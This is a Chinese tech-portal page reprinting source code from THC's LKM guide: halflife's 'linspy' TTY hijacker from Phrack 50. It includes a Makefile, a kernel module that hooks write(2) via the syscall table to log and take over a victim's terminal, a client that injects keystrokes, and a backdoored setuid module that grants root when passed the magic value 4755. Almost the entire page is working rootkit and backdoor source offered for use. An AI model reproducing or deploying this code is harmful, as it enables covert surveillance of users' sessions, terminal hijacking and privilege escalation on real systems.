china.com
主页
新闻
体育
游戏
文化
教育
健康
财经
科技
旅游
军事
娱乐
商贸
  科技动态 硬件广场 下载基地 网络教室 网络冲浪 科学博览 移动时代 手机上网 桌面壁纸 科技商情  


附录(源码)


LKM TTY hijacking

NAME : linspy

AUTHOR : halflife

DESCRIPTION : This LKM comes again Phrack issue 50 (article 5: 'Abuse of the Linux Kernel for Fun and Profit'). It is a very nice TTY hijacker working the way I outline in II.7. This module uses its own character device for control / and logging.

LINK : http://www.phrack.com



<++> linspy/Makefile

CONFIG_KERNELD=-DCONFIG_KERNELD

CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD)

CC=gcc

# this is the name of the device you have (or will) made with mknod

DN = '-DDEVICE_NAME="/dev/ltap"'

# 1.2.x need this to compile, comment out on 1.3+ kernels

V = #-DNEED_VERSION

MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX



all: linspy ltread setuid



linspy: linspy.c /usr/include/linux/version.h

$(CC) $(MODCFLAGS) -c linspy.c



ltread:

$(CC) $(DN) -o ltread ltread.c



clean:

rm *.o ltread



setuid: hacked_setuid.c /usr/include/linux/version.h

$(CC) $(MODCFLAGS) -c hacked_setuid.c

                          

<--> end Makefile

<++> linspy/hacked_setuid.c

int errno;

#include <linux/sched.h>

#include <linux/mm.h>

#include <linux/malloc.h>

#include <linux/errno.h>

#include <linux/sched.h>

#include <linux/kernel.h>

#include <linux/times.h>

#include <linux/utsname.h>

#include <linux/param.h>

#include <linux/resource.h>

#include <linux/signal.h>

#include <linux/string.h>

#include <linux/ptrace.h>

#include <linux/stat.h>

#include <linux/mman.h>

#include <linux/mm.h>

#include <asm/segment.h>

#include <asm/io.h>

#include <linux/module.h>

#include <linux/version.h>

#include <errno.h>

#include <linux/unistd.h>

#include <string.h>

#include <asm/string.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <sys/sysmacros.h>

#ifdef NEED_VERSION

static char kernel_version[] = UTS_RELEASE;

#endif

static inline _syscall1(int, setuid, uid_t, uid);

extern void *sys_call_table[];

void *original_setuid;

extern int hacked_setuid(uid_t uid)

{

int i;          

if(uid == 4755)

{

   current->uid = current->euid = current->gid = current->egid = 0;

   return 0;

}

sys_call_table[SYS_setuid] = original_setuid;

i = setuid(uid);

sys_call_table[SYS_setuid] = hacked_setuid;

if(i == -1) return -errno;

else return i;

}

int init_module(void)

{

original_setuid = sys_call_table[SYS_setuid];

sys_call_table[SYS_setuid] = hacked_setuid;

return 0;

}

void cleanup_module(void)

{

sys_call_table[SYS_setuid] = original_setuid;

}

<++> linspy/linspy.c

int errno;

#include <linux/tty.h>

#include <linux/sched.h>

#include <linux/mm.h>

#include <linux/malloc.h>

#include <linux/errno.h>

#include <linux/sched.h>

#include <linux/kernel.h>

#include <linux/times.h>

#include <linux/utsname.h>

#include <linux/param.h>

#include <linux/resource.h>

#include <linux/signal.h>

#include <linux/string.h>

#include <linux/ptrace.h>

#include <linux/stat.h>

#include <linux/mman.h>

#include <linux/mm.h>

#include <asm/segment.h>

#include <asm/io.h>

#ifdef MODULE

#include <linux/module.h>  

#include <linux/version.h>

#endif

#include <errno.h>

#include <asm/segment.h>

#include <linux/unistd.h>

#include <string.h>

#include <asm/string.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <sys/sysmacros.h>

#include <linux/vt.h>



/* set the version information, if needed */

#ifdef NEED_VERSION

static char kernel_version[] = UTS_RELEASE;

#endif



#ifndef MIN

#define MIN(a,b)    ((a) < (b) ? (a) : (b))

#endif



/* ring buffer info */    



#define BUFFERSZ    2048

char buffer[BUFFERSZ];

int queue_head = 0;

int queue_tail = 0;



/* taken_over indicates if the victim can see any output */

int taken_over = 0;



static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);

extern void *sys_call_table[];



/* device info for the linspy device, and the device we are watching */

static int linspy_major = 40;

int tty_minor = -1;

int tty_major = 4;



/* address of original write(2) syscall */

void *original_write;



void save_write(char *, size_t);





int out_queue(void)

{

int c;

if(queue_head == queue_tail) return -1;

c = buffer[queue_head];

queue_head++;

if(queue_head == BUFFERSZ) queue_head=0;

return c;

}



int in_queue(int ch)

{

if((queue_tail + 1) == queue_head) return 0;

buffer[queue_tail] = ch;

queue_tail++;

if(queue_tail == BUFFERSZ) queue_tail=0;

return 1;

}





/* check if it is the tty we are looking for */

int is_fd_tty(int fd)

{

struct file *f=NULL;

struct inode *inode=NULL;

int mymajor=0;

int myminor=0;



if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))

   return 0;

mymajor = major(inode->i_rdev);

myminor = minor(inode->i_rdev);

if(mymajor != tty_major) return 0;

if(myminor != tty_minor) return 0;

return 1;

}



/* this is the new write(2) replacement call */

extern int new_write(int fd, char *buf, size_t count)

{

int r;

if(is_fd_tty(fd))

{

   if(count > 0)

     save_write(buf, count);

   if(taken_over) return count;

}

sys_call_table[SYS_write] = original_write;

r = write(fd, buf, count);

sys_call_table[SYS_write] = new_write;

if(r == -1) return -errno;

else return r;

}





/* save data from the write(2) call into the buffer */

void save_write(char *buf, size_t count)

{

int i;

for(i=0;i < count;i++)

   in_queue(get_fs_byte(buf+i));

}



/* read from the ltap device - return data from queue */

static int linspy_read(struct inode *in, struct file *fi, char *buf, int count)

{

int i;

int c;

int cnt=0;

if(current->euid != 0) return 0;

for(i=0;i < count;i++)

{

   c = out_queue();

   if(c < 0) break;

   cnt++;

   put_fs_byte(c, buf+i);

}

return cnt;

}



/* open the ltap device */

static int linspy_open(struct inode *in, struct file *fi)

{

if(current->euid != 0) return -EIO;

MOD_INC_USE_COUNT;

return 0;

}



/* close the ltap device */

static void linspy_close(struct inode *in, struct file *fi)

{

taken_over=0;

tty_minor = -1;

MOD_DEC_USE_COUNT;

}

      

/* some ioctl operations */

static int

linspy_ioctl(struct inode *in, struct file *fi, unsigned int cmd, unsigned long args)

{

#define LS_SETMAJOR   0

#define LS_SETMINOR   1

#define LS_FLUSHBUF   2

#define LS_TOGGLE   3



if(current->euid != 0) return -EIO;

switch(cmd)

{

   case LS_SETMAJOR:

     tty_major = args;

     queue_head = 0;

     queue_tail = 0;

     break;

   case LS_SETMINOR:

     tty_minor = args;

     queue_head = 0;

     queue_tail = 0;

     break;

   case LS_FLUSHBUF:

     queue_head=0;

     queue_tail=0;

     break;

   case LS_TOGGLE:

     if(taken_over) taken_over=0;

     else taken_over=1;

     break;

   default:

     return 1;

}

return 0;

}





static struct file_operations linspy = {

NULL,

linspy_read,

NULL,

NULL,

NULL,

linspy_ioctl,

NULL,

linspy_open,

linspy_close,

NULL

};





/* init the loadable module */

int init_module(void)

{

original_write = sys_call_table[SYS_write];

sys_call_table[SYS_write] = new_write;

if(register_chrdev(linspy_major, "linspy", &linspy)) return -EIO;

return 0;

}



/* cleanup module before being removed */

void cleanup_module(void)

{

sys_call_table[SYS_write] = original_write;

unregister_chrdev(linspy_major, "linspy");

}

<--> end linspy.c

<++> linspy/ltread.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <termios.h>

#include <string.h>

#include <fcntl.h>

#include <signal.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <sys/sysmacros.h>



struct termios save_termios;

int ttysavefd = -1;

int fd;



#ifndef DEVICE_NAME

#define DEVICE_NAME "/dev/ltap"

#endif



#define LS_SETMAJOR   0

#define LS_SETMINOR   1



#define LS_FLUSHBUF   2

#define LS_TOGGLE   3



void stuff_keystroke(int fd, char key)

{

ioctl(fd, TIOCSTI, &key);

}



int tty_cbreak(int fd)

{

struct termios buff;

if(tcgetattr(fd, &save_termios) < 0)

   return -1;

buff = save_termios;

buff.c_lflag &= ~(ECHO | ICANON);

buff.c_cc[VMIN] = 0;

buff.c_cc[VTIME] = 0;

if(tcsetattr(fd, TCSAFLUSH, &buff) < 0)

   return -1;

ttysavefd = fd;

return 0;

}



char *get_device(char *basedevice)

{

static char devname[1024];

int fd;



if(strlen(basedevice) > 128) return NULL;

if(basedevice[0] == '/')

   strcpy(devname, basedevice);

else

   sprintf(devname, "/dev/%s", basedevice);

fd = open(devname, O_RDONLY);

if(fd < 0) return NULL;

if(!isatty(fd)) return NULL;

close(fd);

return devname;

}





int do_ioctl(char *device)

{

struct stat mystat;



if(stat(device, &mystat) < 0) return -1;

  fd = open(DEVICE_NAME, O_RDONLY);

if(fd < 0) return -1;

if(ioctl(fd, LS_SETMAJOR, major(mystat.st_rdev)) < 0) return -1;

if(ioctl(fd, LS_SETMINOR, minor(mystat.st_rdev)) < 0) return -1;

}





void sigint_handler(int s)

{

exit(s);

}



void cleanup_atexit(void)

{

puts(" ");

if(ttysavefd >= 0)

   tcsetattr(ttysavefd, TCSAFLUSH, &save_termios);

}



main(int argc, char **argv)

{

int my_tty;

char *devname;

  unsigned char ch;

int i;



if(argc != 2)

{

   fprintf(stderr, "%s ttyname\n", argv[0]);

   fprintf(stderr, "ttyname should NOT be your current tty!\n");

   exit(0);

}

devname = get_device(argv[1]);

if(devname == NULL)

{

   perror("get_device");

   exit(0);

}

if(tty_cbreak(0) < 0)

{

   perror("tty_cbreak");

   exit(0);

}

atexit(cleanup_atexit);

signal(SIGINT, sigint_handler);

if(do_ioctl(devname) < 0)

{

   perror("do_ioctl");

   exit(0);

}

my_tty = open(devname, O_RDWR);

if(my_tty == -1) exit(0);

setvbuf(stdout, NULL, _IONBF, 0);

printf("[now monitoring session]\n");

while(1)

{

   i = read(0, &ch, 1);

   if(i > 0)

   {

     if(ch == 24)

     {

      ioctl(fd, LS_TOGGLE, 0);

      printf("[Takeover mode toggled]\n");

     }

     else stuff_keystroke(my_tty, ch);

   }

   i = read(fd, &ch, 1);

   if(i > 0)

     putchar(ch);

  }

}

<--> end ltread.c





EOF

 

  摘自《赛迪网》 pragmatic/THC,(版本1.0)/文

 


科技检索


中华网推荐

  • 1000名医生在线咨询

  • 中国足球队官方网站

  • 鸦片玫瑰(新版)

  • 精选股票天地

  • 闪光的flash教程

  • 中华网汽车世界

  • 为你的爱情出谋划策

  • 网文精选——野百合集

  • 世界文化遗产在中国

  • 历届香港小姐风姿集




  • 网络教室编辑信箱
    版权声明 | 本站检索 | 联系方法 | 刊登广告 | 使用说明 | 关于中华网 | 豁免条款

    版权所有 中华网